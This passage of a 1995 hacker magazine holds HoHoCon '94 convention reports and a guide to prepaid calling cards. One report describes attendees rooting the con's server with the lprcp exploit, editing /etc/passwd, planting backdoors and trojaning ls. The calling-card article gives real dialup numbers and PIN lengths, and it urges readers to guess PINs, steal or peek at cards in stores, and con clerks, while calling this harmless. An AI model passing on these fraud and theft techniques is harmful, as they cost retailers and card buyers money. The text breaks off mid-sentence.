people). Additionally, a last minute machine was added onto the network as
sadie.hohocon.org. That machine was graciously provided by mwe, a dfw.net
type who fool had hit up for terminal and had shown up with a mysterious
overclocked '66 with a shitload of neat stuff including multimedia
capabilities. He also brought us several "classic" (some call them ancient =)
terminals that people were able to use to login.
At some point, dfx showed up and made use of America's capitalistic system by
offering various warez for sale, consisting mostly of those nifty red-type
armbands to let people in to the main event...he pointed his camera at
the systems..and then left. he's tooo uber for us...
Friday night, everything was calm...Micro^[[, myself, and several other
people started working on bouncing between sites on the net...Several
people donated accounts to use for this task, and we ended up with a nice
list, until we hit utexas.edu, when the whole thing came to a screeching
halt...Must say something about University of Texas at Austin networking, eh?
Not wanting to escape through tons of telnets just to kill the final one
that went through utexas, we just killed the whole thing and decided that
we would do it the next day (although we never did get around to it again...
oh well)... For those interested, here is a list of some of the sites we were
able to bounce through:
I left Friday night around 2 am because I had to work at 8 :(...I will
never do THAT again...Nothing very eventful happened in the computer room,
several people wandered by, ophie refused to say hi to me (j/k ophie)
and plenty of jokes and stories were passed around...
Saturday nite was when all the fun happened on the net. fool decided it
would be a great idea to let everyone have accounts, and we finally got up to
about a 60 line password file...Much of this traffic was over a 28.8k
slip, which worked its way down to about 10bps by the time everyone started
(ab)using it, not to mention the wonderful speed-decreasing/error-overcoming
resolution tendencies of the v.fc protocol, which left us a bit...uhh...
llllaaaaaaaaaggggggggggggeeeeeeeeddddddd. This was eventually switched down
to 14.4k after photon realized the problems the v.fc was causing.
The next problem was probably very predictable, apparently to everyone except
for one "fool" who broke down and decided to give y an account. Everyone
familiar with y (Y-WiNDoZE), knows his general habits around systems,
and hohocon.org was no exception(ok,ok, so it wasn't completely fool's fault...
Still...:)
Apparently y next let x login under his account to look around. The details
are a little sketchy, but the first thing X did was look around,
check out the password file, check out the remote hosts, went on irc for
a bit, and then he began his real attack. He ran pico and suddenly there
was a copy of 8lgm's lprcp in his directory (presumably he ascii uploaded
it into the editor) with the name 'posse'...hmmm... How ingenious (bah)...He
then proceeded to copy the password file to his own directory, add a WWW
account, password bin, and use lprcp to put it back in /etc/passwd. (copies of
his .bash_history should be available on fool's ftp site by the time you read
this...see below)
DjRen and I, in the meantime, were out of the room having a small party for
ourselves, so I didn't get a chance to see all this happening. Apparently
nobody discovered it until y started wall'ing message about his eliteness
and also started bragging to everyone on irc about it. When Dj and I returned,
we discovered that X had managed to an account for himself on the system.
X installed his own backdoors into the system and started playing
around. At this point, I wasn't really fully aware of what was going on
because of the buzz I had from that New-Years-Day bottle of champagne
graciously delivered to us by an interesting Australian writer at the
conference.
Finally, Dj and I returned to the computer room, where I sat down at a terminal
to IRC a little, and I heard a big commotion about how y had hacked root :)
About the same time, y was on irc attempting to play netgod because he hacked
hohocon.org :)
Apparently even Mike got access to the system at one point, but it is not
clear if he did anything once he was there. The people sitting at the
hohocon.org consoles then began a massive scramble to kick them out of the
system. Several times they were killed, but Y and X kept coming back.
fool managed to find some of the accounts they had created, and I managed to
hear the root password from among the commotion and I logged in to kill inetd
keep them from being able to connect in. I then proceeded to do a find for
all the suid programs, where I found a couple of x and y's backdoors (the
oh-so-elite /usr/bin/time sure had me ph00led, y :)
After I removed the backdoors I could find, I looked at /etc/motd, and noticed
y's message:
================================================
Spock rules more than anyone
WE SWEAR
WELCOME SOUTH EASTERN POSSE TO HOHOCON!@#$
================================================
I don't think I really have to make any comment about this message, it is
clearly self-explanatory :)
Thinking I could be elite too, I replaced his message with
================================================
Loq has defeated X and Y :)
================================================
Photon came in the room, and started working on getting the systems back
together... That was the conversation where we coined the phrase the
"Hohocon Emergency Response Team (HERTz)".
About half-an-hour later, Eclipse ambled into the room telling me to
login again...I do and somehow Proff had managed to get root access and
add a line into the motd:
================================================
Loq has defeated X and Y :)
And proff has defeated Loq.
================================================
I started to look around a little and suddenly it looked like all the files
were missing... When I did an ls / I realized that Proff has replaced ls
with his own copy that wouldn't show any files :) So for awhile, I had
to do echo *'s just to get lists of files in the directories. At that point,
I really didn't want to play the games anymore, as it was about 2am and I had
to work at 8am that morning, but I congratulate Proff in being
able to defeat all of us that one last time :)
The rest of the con, with respect to the network, was pretty quiet...
For those interested, most of the hohocon logs and information will be on
fool's ftp site: ftp://dfw.net/pub/stuff/FTP/Stuff/HoHoCon
The list of users that were finally on Hoho was pretty large, here is a copy
of all the accounts that existed on hohocon.org at the time it went down:
root bin daemon adm lp sync shutdown halt mail news uucp operator games
man postmaster ftp fool yle djren mthreat shaytan loq mindV klepto btomlin
nnightmare train patriot fonenerd joe630 plexor pmetheus vampyre phlux
windjammer nocturnus phreon spock phred room202 novonarq thorn davesob
f-christ gweeds cyboboy elrond onkeld octfest tdc mwe angeli Kream ljsilver
marauder landon proff hos fool cykoma dr_x el_jefe mwesucks iceman eric
z0rphix
Other miscellaneous notes....
Thanks to fool for organizing as much as he did in such limited time.
It sucks that the first hotel had to cancel and that caused
us to lose our ISDN link...Hopefully next year I will be able
to provide the link for you.
Thanks to photon for getting the PPP link up and running...it disconnected
many times and became really slow when the load finally came down
on it, but overall it worked extremely well with few problems.
Thanks to micro^[[ for the idea of trying to bounce the telnets around the
world in the normal hacker tradition...
Thanks to eclipse for the interesting conversations and for giving me a
better understanding of Proff... :)
A small note that Eclipse discovered:
"To Root: (slang) To have sex..."
ahh...no wonder all those people sit on the net on friday nites :)
Thanks to Proff for the extra entertainment at the end of the nite... I
look forward to battling you in the future :)
Also thanks to X and Y for the entertainment as well :)
Finally, thanks to both fool and eclipse for helping me review this text and
get it somewhat accurate at least :)
I am intentionally leaving everyone else's names off of here because I
know I would forget someone that I met at hohocon, and I wouldn't want to
cause hurt feelings or anything :)
Bits and Bytes Column by J. Barr
(From Austin Tech-Connected)
WaReZ 1. Stolen software available to 'elite' callers on
'elite' bulletin boards. 2. Pirated or cracked commercial
software.
HoHoCon is Austin's annual celebration of the computer
underground. Phreaks, phracks and geeks rub shoulders with
corporate security-types, law enforcement officials, and various
and assorted cyber-authors. It's an in thing, a cult thing, an elite
thing. In many ways it reminds me of the drug-culture of the 60's
and 70's. It has the same mentality: paranoia and an abiding
disdain for the keepers of law and order. But after all, HoHoCon
honors the Robin Hoods of the computer era: stealing from the
rich, powerful, and evil prince (Microsoft, IBM, Lotus, et al) and
distributing to poor dweebs under the very nose of the sherrif.
A nose, by the way, that just begs to be tweaked. That's the
romantic notion, at least. To others there is no nobility in
computer crime. Whether it's a case of wholesome anarchy run
amok or youthful pranksterism subverted to common criminal
mischief: warez is warez, theft is theft.
A month or two ago I had an email conversation with a young
man and we discovered we both ran BBS's. He asked what my
board was about and I explained that The Red Wheelbarrow)
was for 'rascals, poets, and dweebs', and that it carried echos
from FidoNet, USENET, and elsewhere. He replied that his was
a private board, one that dealt mainly in "WaRez and 'bOts" and
closed his note with an "eVil gRin." Not being sure what he was
talking about, I asked him to spell it out for me. I never heard
from him again.
I mention this because at HoHoCon you either knew these
things or you didn't; you were part of the elite or you were not.
Like my questions to my friend the pirate board operator, my
questions at HoHoCon went unanswered.
The hype in various Austin newsgroups for this year's event
talked quite a bit about the party last year. Cyberspace
luminaries shared top billing with the mention of teenage girls
stripping for dollars in a hotel room. I decided then and there it
was the sort of function I should cover for Tech-Connected.
I asked at the door for a press pass and was directed towards a
rather small redheaded kid across the room. The guard at the
door said he (the kid) was running the show. I expected to see
lots of people I knew there, but I only saw one. John Foster is
the man who keeps the whole world (including Tech-
Connected) up-to-date as to what boards are up and what boards
are down in Central Texas. John is about my age. He looked
normal. Everyone else was strange. I saw more jewelry in
pierced noses and ears walking across that room than I normally
see in a week. Lots of leather and metal, too. HoHoCon '94
looked like where the tire met the (info) road: a cross between
neo-punk-Harley-rennaisance and cyber-boutique. Most of the
crowd was young. Old gray-beards like John and I really stuck
out in the crowd.
I found the redheaded kid. He was selling t-shirts at the table.
Next to him an "old hand" (who must have been nearly 30) was
reciting the genesis of personal computers to a younger dweeb.
They quibbled for a second about which came first, the Altos or
the Altair, then looked up to see if anyone was listening and
smiled when they saw that I was. I waited respectfully for the
redheaded kid to finish hawking one of his shirts, then repeated
my request for a press pass. He just looked at me kind of funny
and said he had given some out, but only to people he knew. I
didn't know a secret handshake or any codewords I could blurt
out to prove I was cool, so I just stood there for a moment and
thought about what to do next.
Perhaps a change in costume would make me cool. Maybe then
these kids could see that I was OK. I picked up a black one, it
read NARC across the front and on the back had a list of the top-
ten NARC boards of 1994. Not wanting to appear ignorant, I
didn't ask what NARC stood for. I figured it would be easy
enough to find out later, so I bought the shirt and left.
I returned Sunday morning, wearing my new NARC t-shirt,
certain it would give me the sort of instant-approval I hadn't had
the day before. It didn't. As I was poking around the empty
meeting room, a long-haired dude in lots of leather came
clunking up in heavy-heeled motorcycle boots and asked what I
was doing. I explained I was there to do a story. That shut him
up for a second so I decided to pursue my advantage. "Anything
exciting happen last night?" I asked. "Nothing I can tell YOU
about, SIR" he replied, then pivoted on one of those big heels
and clunked away.
Browsing the tables in the meeting room I found pamphlets left
over from the previous day's activities. There was an old
'treasure map' of high-tech 'trash' locations in Denver. Northern
Telecom, AT&T and U.S.West locations seemed to be the focus.
There were flyers from Internet access providers (it seemed a
little like carrying coals to Newcastle, but then what do I know), a
catalog from an underground press with titles like "The Paper
Trail" (just in case you need to create a new identity for
yourself), "Fugitive: How to Run, Hide, and Survive" and
"Secrets of Methamphetamine Manufacture." Good family
reading, fer shure.
For the purists there were reprints of issues 1 to 91 of
"YIPL/TAP", the first phreak newsletter. For the wannabe's like
me, there were more kewl t-shirts to be ordered. I decided I
should have opted for the one with "Hacking for Jesus" across
the back. I appreciate the art of anthropology a little more after
trying to read the spoor left behind at HoHoCon. It is definitely
a mixed bag.
To this day, I'm not certain what NARC stands for. Someone
suggested it was any state or federal officer interested in busting
people, just like in the bad old days (or today, for that matter).
Maybe it's shorthand for aNARChist. The definition I like best
was given to me on an internet newsgroup, alt.binary.warez.pc.
(Really, it exists right there in front of the Secret Service and
everyone.) One reply actually had an answer. After a paragraph
or two of the requisite 'my gawd what a stupid question from a
know-nothing nerd', the suggestion was made that it stood for
"Never At Rest Couriers."
I like that one because it suggests a purpose for those 'bots my
friend with the WaReZ board and the eViL gRiN mentioned in
our conversation. Sitting in private channels on IRC servers,
'bots could be used to store and forward pirated goods across the
internet in almost untraceable ways. Who knows for sure? Not
I. One thing I'm certain of, I'm real careful what part of town I
wear my NARC t-shirt in. I would really hate getting shot by a
confused crack-cocaine dealer who thought my shirt was the
signal his deal had gone bad.
Because I had been excluded from the inner circle, because I
had tried and failed to become part of the elite during HoHoCon,
it was easy for me to work myself into a morally superior position
from which to write this column. All I had really seen were a
bunch of kids: wannabe's, cyber-groupies and counterculture
alternatives to life-as-we-know-it, celebrating the triumph of
crooks and petty thieves over legitimate big business and big
government. But something bothered me about that safe, smug
position, and the more I thought about it the more it irked.
For one thing, something was missing. If they were criminals,
where was the loot? Where were the Benz and BMW's that
should have been in the parking lot? Where were all the fancy
wimminz that follow fast money? Software prices are high these
days, so even if they were only getting a dime on the dollar for
their WaReZ, there should have been some real high-rollers
strutting their stuff.
A reformed phreaker gave me some input on this. He said it was
about collecting a complete set, like trading baseball cards, not
about making money. The software itself wasn't important.
Having it in your collection was the important thing. Tagging in
cyberspace. Making a mark by having one of everything. But
still, it's illegal. Against the law, whether for profit or not.
The news background as I write this story is about Microsoft,
king of the PC software hill. The judge reviewing the Consent
Decree negotiated between the Department of Justice and
Microsoft is angry with the lawyers from Redmond. He tells them
that he can't believe them any longer. They testified in
September that Microsoft did not engage in marketing
vaporware, which is an old IBM tactic of hurting the sales of a
competitor's product by promising they would have one just like
it, and better, real soon now.
The judge has before him internal Microsoft documents which
indicate that the employee who came up with the idea of using
vaporware to combat new products from Borland was given the
highest possible ranking in his evaluation. The tactic apparently
worked to perfection. The suits have now told the judge it wasn't
vaporware, because Microsoft was actually working on such a
product. The judge is not amused. Are these crimes, this
dishonesty, somehow more acceptable because they are done
for profit by an industry giant? Because they're done by
business men in suits instead of punk kids in jeans?
How about Ross Perot's old company, EDS. Have the once
proud men and women of the red (tie), white (shirt), and blue
(suit) drifted astray since the days when 'the little guy' insisted
that not even a hint of impropriety was acceptable? The state
employee that negotiated and signed the contract with EDS that
brought me to Austin in 1990 to install the statewide USAS
accounting system for the State Comptrollers Office was hired by
EDS as a 'special consultant' in 1992. Hint of impropriety? This
was shouted from the roof-tops. EDS bought a full-page ad in the
Austin American-Statesman to make sure that all the other
bureaucrats in state government got the message.
What about the cops? The federal storm-troopers who
conducted the raids around town at the time of the Steve Jackson
affair. The judge at that trial had dressed down the agent in
charge like he was talking to a teenage bully who had been
busted for taking candy from the other kids. No wonder the EFF
(Electronic Frontier Foundation) is so popular. It's the ACLU of
the 90's and the uncharted terrain of cyber-space.
Finally, how about me. I have the illegal software on my PC. It's
a copy of Personal Editor II that I've had forever. When I
worked at EDS I once had to code 250,000 lines of COBOL
using EDLIN. In those days, management didn't think PC's were
anything but toys and they would be damned before they spent
any money buying editors to write software for them. Out of that
ordeal came an abiding disdain for EDLIN and my own copy of
PE II. I'm not sure where I got it. It was a legal copy at one
time, though I'm not sure whose it was. When I transferred to
Washington, D.C. in 1987, I took it with me. I moved it from my
XT, to my AT, to my 386SX. Now it's own my 486DX2/50. I had
a copy of it on every computer I used at work. I used it for
everything I coded, for all the notes I wrote.
These days I don't go into DOS unless I want to hear the guns
fire in Doom II. OS/2 comes with TEDIT, which looks enough
like an updated version of PE II to make me feel guilty every
time I see it. But I haven't taken the time to learn how to use this
legal editor. My taboo copy of PE II is much too comfortable.
So who are the good guys and who are the bad? The suits who
steal and bribe and leverage from within the system? The
arrogant thugs with badges? The punks with body-piercings?
Or an old phart like me, with illegal software on my own PC?
Heady questions for sure. I thought I knew the answer when I
started this column, now I'm not so sure. I can't condone the theft
of goods or services no matter how altruistic or noble the cause,
or how badly some noses need to be tweaked, or how ignoble
some agents of law enforcement.
I think it would be my style to point a finger first at the suits,
then at the kids. But as long as I'm using stolen software, or
'evaluating' shareware long after the trial period is over, I don't
have to go very far should I get the urge to set something right.
" If I would arrest you, you would really be under arrest,
as I am a real officer that can actually arrest people who
are under arrest when I arrest them. "
- Austin Cop, HoHoCon '94
For those who missed it, dissed it or were afraid to go, here
comes my very personal impression on HoHoCon 1994...flames: /dev/null.
Drunkfux did it again. K0de-kiddiez, WaReZ-whiners, UNIX-users,
DOS destroyers, linux lunatics - all of them found their way to the
Ramada South Inn in Austin, Texas to indulge in a weekend of excessive
abuse of information equipment and controlled substances under
supervision of the usual array of ph3dz, narqz, local authorities,
mall cops and this time - oh yes! - scantily clad Mexican nationals
without green cards in charge of hotel security. Tracy Lords, however,
did NOT show up.
(I want my money back.)
Well.
When I walked into the hotel, I noticed a large handwritten
poster that Novocaine put up in the lobby, marking his room as a
"hospitality suite" for those who already made it to Austin Thursday
night. I ditched my bags into my room and went up to the fifth floor to
see what was going on, and who was already there. Grayareas, Novocaine,
Eclipse, Dead Vegetable and a bunch of unidentified people were
lingering around a table that was cluttered with all kinds of
underground mags (from 2600 to Hack-Tic), some reading, some making up
new conspiracy theories. Everybody took a good whiff of Austin air and
prepared themselves for the action to come. Later that night, I took
Commander Crash for a walk around the hotel to see how well they did
their homework. The rumor was that the hotel had been notified, as well
as all local computer-oriented businesses, that the haqrz were in
the neighborhood.. and it looked like it was telling the truth. We
found not a single door unlocked, not one phone interface un-secured.
Somebody closed all the security h0lez in advance, therefore hacking
the hotel looked pointless and lame. Everybody crashed out,
eventually. For most, it was the last sleep they would get for the new
year's weekend.
Noon the next day, I awoke to find the lobby crawling with
people, and ran into some familiar faces. Like last year, most of the
lobby-ists were playing with hand-held scanners. The National Weather
service was soon declared The Official HoHoConFrequency, and was - in
old fashion - blaring through all hallways and lounges of the site. At
least, nobody could claim they didn't know it was going to rain...
Commander Crash approached me in the early afternoon. "Dude, "
he said, "I think I've got a bug on my scanner..". We went hunting
around the hotel with a signal-strength-indicator-equipped eleet
scanner to see if we could locate the little bastard. We couldn't.
Disappointed, we asked some cDc guys to help us look, and soon we
walked up and down the hallways in a mob of approximately fifteen to
twenty people. An "undercover" hotel security guard, clad in a "beefy
look" muscle-shirt that revealed some badly-sketched tattoos walked up
and advised us to "get our asses back to our rooms". "If there is a
bug in this hotel, it is there for a reason. Therefore, don't mess
with it." I asked him if we were grounded or something. He was kindly
ignored for the rest of the night. As the mob settled into the
check-in lounge, I noticed about half a dozen new security guards who
were hired to enforce Law & Order and just received an extra briefing
from the hotel manager in a back room. An Austin cop proceeded giving
each one of them an extra pair of handcuffs. Somebody exclaimed "My
Lord, it's gonna be bondage-con!", which caused me to spray my soda
over an unsuspecting warez d00d. He called me a "LaMeR" and chased me
back to my room where I peacefully lost consciousness.
The next morning, I awoke late while the actual con was already
in full swing. I pumped myself back into reality with a handful of
Maximum Strength Vivarine(TM) (thank god for small favors) and moved
my not-too-pleasant-smelling likeness into the con room, where
Douglas Barnes was in the middle of a rant on basic encryption. Very
basic, so to speak. Maybe because, like he said, he did not know "how
to address such a diverse audience consisting of hackers, security
professionals and federal agents". Hmpf! You fill in the blanks. Next
up was Jeremy Porter, going into the details of available digital cash
systems, and repeatedly pointing out how easy you can scam over
NetCash by faxing them a check and then cancelling it out after you
got your digicash string in the (e-) mail. Up next, Jim McCoy gave a
talk on underground networking, a concept that enables you to run a
totally transparent and invisible network over an existing one like
the Internet. Very much like the firewall at whitehouse.gov..
Damien Thorn was next, starting with some video footage he taped
off a news station where he is interviewed on cellular fraud through
cloning. He also showed off a nice video clip that showed him playing
around with ESN grabbers an other quite k-rad equipment. Ironically, he
chose "21st Century Digital Boy" from Bad Religion as the underlying
soundtrack. That reeks of pure K-RaDiCaLnEsS, doesn't it? When dFx came
back to the mike, about 400 ranting and raving haqrz demanded for the
raffle to finally start, and the k-g0d (who wore a pair of weird,
green, pointed artfag boots) gave in. In the next thirty minutes or
so, a lot of eleet things found new owners like hard drives,
keyboards, twelve hour well-edited hotel porno videos, HoHoCon videos,
back issues of 2600 and TAP, a whole lot of HOPE t-shirts, a
Southwestern Bell payphone booth, CO manuals and other dumpster-diving
loot, AT&T Gift Certificates, an eleet 600 bps modem, and lots of
other more or less useful gadgets. Dead Vegetable repeatedly insisted
that he was not giving up the 35-pound "Mr. T." head he brought, which
was made of solid concrete and hand-painted. "No, it's a Mr-T-Phone,
you can pick up the mohawk and talk!"
Back out in the lobby, I ran into erikb and chatted briefly
about some other Europeans we both knew (Hi 7up..).. On the way
up to my room, I stopped at the 2nd floor lobby to mock somebody
for cigarettes. Well, see, I don't have anything against a huge
flock of ph3dz taking up the whole lobby, but if not a single one
of them smokes, let alone has a ciggy to spare, it pisses the fuck
out of me. Back down, I crammed some fliers into my bag (Buy HoHoCon
videos/TAP issues/2600 subscriptions and other sellout), chatted with
Ophie and a couple of other IRC babes (a lot of females at the con
this year, if this trends keeps up, it will look like a Ricky Lake
show at next year's HoHoCon) and retreated back to my room to secure
all the nifty things I won at the raffle (a book of TAP issues,
a 2600 issue, two t- shirts, an acoustic coupler.. dFx looked
quite pissed).
Back down, everybody that had something to sell had opened up
shop. dFx was selling last years "I LOVE FEDS/WAREZ" tee-shirts plus
a new stack of the elusive "I LOVE COPS" baseball caps, who came
in four different spanking colors this year. The embroidered logo is
the clincher. I can just recommend everyone who did not get one yet
to get their hands on one of these (no, I am not receiving any ca$h
for this). Netta Gilboa was auctioning off some back issues of
Gray Areas, and cDc sold everything from sizzling "Cult of the Dead C0w"
shirts and hats to "Please do not eat kids" stickers, cable TV descramblers
and DTMF decoders while happily zonking away on an old Atari 7800
video game. While browsing through the merchandise, I ran into a guy
with a shirt that said "I quit hacking, phreaking, k0dez and
warez.....it was the worst 15 minutes of my life." Now THAT
would have been something to bring home! I blew my excess money on
some less original shirts and visited Room 518, where a bunch of
dedicated people had set up a Net connection and public-access
terminals. Some of the TTYs definitely looked like something you would
find if you decided to take a walk around the desolate offices of your
local CO at night..
Midnight drew closer. When the new year came around, I was quite
shocked. "Hey d00dZ! Happy New Year!" - "Shut Up! I am about to get
op on #warez2!" What a festive mood. After midnight, everybody pretty
much retreated into a room with a fair quantity of their favorite
narcotic substance (the 4th floor was filled with an ubiquitous pot
smell, despite of the alarming presence of suits who were talking into
their jackets) and called it a day.
==Phrack Magazine==
Volume Six, Issue Forty-Seven, File 13 of 22
Final : [o2/xx]
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
.xX- | - An Overview Of Prepaid Calling Cards - | -Xx.
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
'95 - Second Update - '95
- Second -BTR- Release - First -PAiN- Pak Release -
(c) 1995 Treason [518]
by
treason@fpg.gcomm.com
- . - - . - - . - - . - - . - - . - - . - - . - - . - - . - - . - - . - - . -
With A Special Thanks Going Out To Al K. Lloyd [4o4]
My Partner In Krime In The PCC World
- . - - . - - . - - . - - . - - . - - . - - . - - . - - . - - . - - . - - . -
And Another Thanks Out To Me Bud Antediluvian [4o4]
For Enjoying PCCs And Knowing Some Too
- . - - . - - . - - . - - . - - . - - . - - . - - . - - . - - . - - . - - . -
In the past few months or so I have noticed that most places are
hopping on the Prepaid Calling-Card (PCC for short) bandwagon. PCCs
are a cheap alternative to normal long distance. (Or are supposed to be.)
For all of you that don't have any idea what a PCC is or how it works, here's
the full info:
Prepaid Calling-Cards are cards shaped like normal calling cards
and look exactly like them. On their back, all PCCs have a 800 dialup,
a 9-12 digit code (give or take a few digits) and a customer service number
to report trouble. All of these are sold in such a fashion that nosy phreaks
can't just read the backs and call the dialup and use it, without buying them.
PCCs almost always have calling limits. Most available in the US are only
good within the US or US territories. With certain cards, you have the
option to dial international but this will give you about 1-2 minutes of
actual usage on a 10 minute card, so I don't recommend calling Int'l
with these. There are a few more restrictions blocking calls to any SAC.
(Special Area Code, like 700, 800, 900) Domestic dialing is about all you
can do and still get your money's worth. To sum it up, a PCC has a slotted
amount of time or dollar amount to use. As far as getting a good deal goes,
you can't: you break even, or you get ripped off.
PCC's are very easy to find. They tend to turn up in the oddest
places. You don't even have to look hard; they just pop out with banners,
signs and other various ads, so they are not hard to find. Some places
where I have found them are: most grocery stores, some Toy Stores,
Greeting Card Shops, Quickee Marts, in packs of Sports cards and even at
Sporting good stores.
I thought this would be a particularly useful topic to write about due
to the fact anybody can benefit from these. However, I'm not talking about
going to the store and buying them. It doesn't take a genius to figure out
what to do with them. They run a very simple system so anybody can use it.
(I mean, how hard is it to enter your digits when instructed?)
Most of these cards are basically copycats of each other. They all have
some deal with a big long distance company. After you enter the valid
number they tell you how much time is left on you card. They all have an
operator that comes on just to tell you when 1 minute is left on your card.
(BTW, that fucks up any modem connection). Plus, all of these services
run 800 numbers and are open 24 hours a day, 7 days a week. Last but
not least, these don't show up on your phone bill.
Some people are set on never using stolen codes. (*cough*Emmanuel*
Goldstein*cough*cough) But this is different since you're not really
stealing from any person by taking these. You are not putting some
middle-class people from the Burbs out $20,000 like an abused calling card
that was passed around could. So it's really not bad; besides, everybody's
doing it!
There's a new company called Talk 'N Toss. They are offering a huge
variety of PCCs to chain stores that would buy a large amount for their
numerous stores. Once a large company buys into this, they get set lines to
use for their card. Then they customize them for their company name and
plugs. I have seen Talk 'N Toss (TNT) sell 5, 10, 20, 30, 50, 80, 90 and 180
minute cards. If you get a 90 minute card (or longer) that's the real jackpot.
90 Minutes is the largest minute card I have ever seen them selling.
If you wish to place an order to sell them at "your" business, dial their
customer service hotline toll-phree at [800] 631-8895. Plus I'm sure you
can SE the lady into getting free cards. (I've done it once so I know that
it can be done.) They claim that you save up to 38% from a normal AT&T
Call Card. Bullshit maybe, but who the fuck knows.
I have seen these selling only two places. The first is a grocery store
in Colorado (719 NPA) called Albertson's. I don't know if this grocery
store is only located in Colorado, but that's where I happened to run into it.
I do not know the dialup or the proper amount of digits for this card.
It only sells in intervals of 30 and 90 minutes. This is one of the few
cards with which you can call international. For example, when calling
international they say that $1 of what you paid is equal to 3 LD minutes,
or about half a international minute...RIPOFF!
The other place I have seen TNT cards is Revco drugstore (formerly
Brooks Drugs.) They have 10 minute card for $3.99 and a 20 minute card for
$9.99, 30 minutes for $14.99 and finally a 90 minute phone card goes for
a whopping $24.99. Deal or not? You decide. If you decide you won't pay
for this crock of shit call 'em and hack 'em! At [800] 213-0304
with 10 digit PINs for their cards. The time amount doesn't change the digit
amount. They have a CS number through which you can SE employees or just
complain to them at: [800] 354-2708.
Hello Direct, the phone supplies company, is offering their version
of TNT's PCC called the Prepaid Phone Card (PPC). They're identical models
to the Revco TNT cards. The dialup is [800] 955-2383 and the PINs are 9
digits. These cards are the real jackpot with 180 minute cards for $50,
80 minutes for $29 and 50 minute cards for $18. These are by far the
best deals around.
Marvel Comics and Kay-Bee have put their heads together and are now
offering X-Men PCCs. There's 2 things you can do with these cards. The first
option you have is use it for 20 minutes of long distance (no international.)
The second option is to play some stupid X-Men game. The game uses 4 minutes
(or units, as they call them) of your card. You start with 20 units,
with each unit equivalent to 1 minute. Basically the hot idea they have
to sell these is 4 different cards, each with supposedly famous X-Men 1 on 1
battle scene. Plus they claim they are a limited edition. Yeah, they may
be a limited edition but so is Phrack. They have taken a little more security
than other cards by having a scratch off number on the back, so you can't
just pop off the outer plastic and see the PIN. I find these to be some of
my favorite PCCs to use because you have 20 minutes, which is fairly decent,
plus they are easy to swipe. I just go to my Kay-Bee toys and take a bunch
to the back and open them, and either steal the card or write down the number
and hide the card. In a sick way, I find writing down the number more fun
because when someone finds it and thinks that they are hot shit by stealing
it they'll run into a nice message saying that they have no time left and
they can't do shit with it. To further experiment call [800] 616-8883.
The cards are 9 digits long.
Champs Sporting Goods Store has a new deal whereby if you purchase over
$35 worth of sports shit you get a card for a free 7 minute call. Technically,
it ain't free since you're buying merchandise. Seven minutes basically ain't
worth your time, but if you can get it for free it's worth every minute.
You can usually get some dumbass clerk to let you look at the cards because
they keep them on the cash register. One lady said to me, "Now don't pocket
that," as I was putting it into my pocket...oh well, dumbass. The
number is [800] 437-6404. With 9 digits for your PIN.
Randomly inserted into Classic 4-Sport sports cards are Sprint Prepaid
FoNCARDS. Classic Games have joined with Sprint for numerous deals, this
being one. Classic 4-Sport is a pack of sports cards that depict players
going to the pro's next year for 4 different sports. Those sports are
Baseball, Football, Basketball and Hockey. Now, what the fuck would some
baseball card collector do with a Prepaid Foncard? I still haven't figured
it out. But some dealers tell me it's just another marketing thing because
collectors think they're a limited edition. The cards are only worth $2
of LD anyway. While the odds of finding a Sprint FoNCARD is 1:72.
(Which means 1 out of every 72 packs). I know very little about this
since I haven't seen much out of them. They do have a scratch off PIN on
the back. To collectors, if the card has been scratched then the card
looses half of it's "value." OOOOh scary.
Classic is trying to offer something to the collector again. But
this time it's about real money. Not opening a $1.50 pack of cards. They're
now offering 1, 5, 10, 20 and 1000 dollar cards to dealers. These are such a
hot commodity that the prices double every quarter! I asked some ripoff
artist what the deal was on getting the cards. He said that for a $1000
card you must pay a $750 down payment with a max order of 1. On other
styles you have to order 18 cases to get them wholesale. That's 108 total
cards. I'm sure you can find them singular. Try looking in your local
sports page for ads for Sportscard conventions...at those you can swipe them.
To fuck around with these, call up [800] 868-9871 with 10 digits to
get a set amount of time.
Sports fans listen up once again. GTE is offering 25 minute PCCs
that look like actual calling cards. But with these cards you can order a PCC
with a professional football team logo and helmet located on the front of it. They call these
"NFL Collectables" they are called. But the minimum order is 2 cards. Plus
with each order you get sent a 5 minute bonus card that features helmets from
all 30 NFL teams on it. To order each card is only $14.75 but you have to get
2. Call 1-800-GTE-3804 in the US. And outside the US call [303] 743-4138,
extension 712. Or just fax your order to [303] 727-4994. You must order these
with a credit card. I saw this add in Sports Illustrated.
This next one I would call my first love because it's what directed my
attention to the Prepaid Calling-Card field.
Hallmark is also working with Sprint to rip you off for that special occasion.
They started out printing normal greeting cards. (ie: Happy Birthday,
Get Well, When Will You Finally Get Laid, etc...) But then they got more
specific with their Christmas PCCs. Now Valentine's Day is nearing and they
are selling Valentine's PCCs. All of these cards are $5.95 for the card and
have 10 minutes of LD. You can call anywhere in the US and its territories
(Virgin Islands, Puerto Rico), but no Int'l.
The main reason I fell in love with these is because of their mass
availability. I have millions of Hallmarks in my area, and these cards are
easy to get for free. These are greeting cards you just open like a normal
card. They are poly-wrapped so they think you won't see the dialup & PIN,
but, DAMN, they're wrong. The card has a cheap layer of glue on the middle
so if you free the card from it's gluey seal, you can pull the plastic back
to reveal the dialup and PIN. I enjoy spending spare time going to Hallmark
getting the PINs, leaving the card behind so I can have the joy of someone
else buying the card and getting no time!!
There are 3 dialups for the 3 kinds of cards. It doesn't matter what
dialup you use, all work for any card. The first is the regular greeting for
the normal cards: [800] 504-1115. For the Happy Holidays greeting, call
[800] 203-1225. The Valentine Line has a new and original message, which
for the first time says Sprint before Hallmark, at [800] 214-0214. All of
these cards are 10 digits.
They have a Customer Service which is really just a branch of the large
Sprint CS, at [800] 516-2121. The last fact about the Hallmark PCCs is
that their quality has become more flimsy with each new line of card.
For example, the first kind was hard like a normal PCC, but now the
Valentine's Day cards are shitty as hell...like a normal sheet of paper.
Hallmark also has this nifty little ANi thingee they use. The computers
at Sprint know the PiN you used PLUS the number you called PLUS the
number you called from. If you find a PiN just call up their Customer
Service and you can find out who people called and from what number.
Now we have the Pepsi-Cola company. They are stupid asses who offer lousy
service, but help hackers. They list the dialup on the back of the box!
The cards are randomly inserted in Pepsi Holiday 12 Packs. Just go to any
Grocery Store and open the boxes looking for the cards. This PCC would have
to claim the most money spent on advertising, since it is the only one with
a TV commercial. Plus the cards are only good for 5 minutes of LD, no Int'l.
The dialup is [800] 929-COLA (3642). Once you call it says, "Enter Your
14 Digit Code." That's just asking to be ripped off.
7-11, the slurpee guys, are now working with AT&T to bring you their
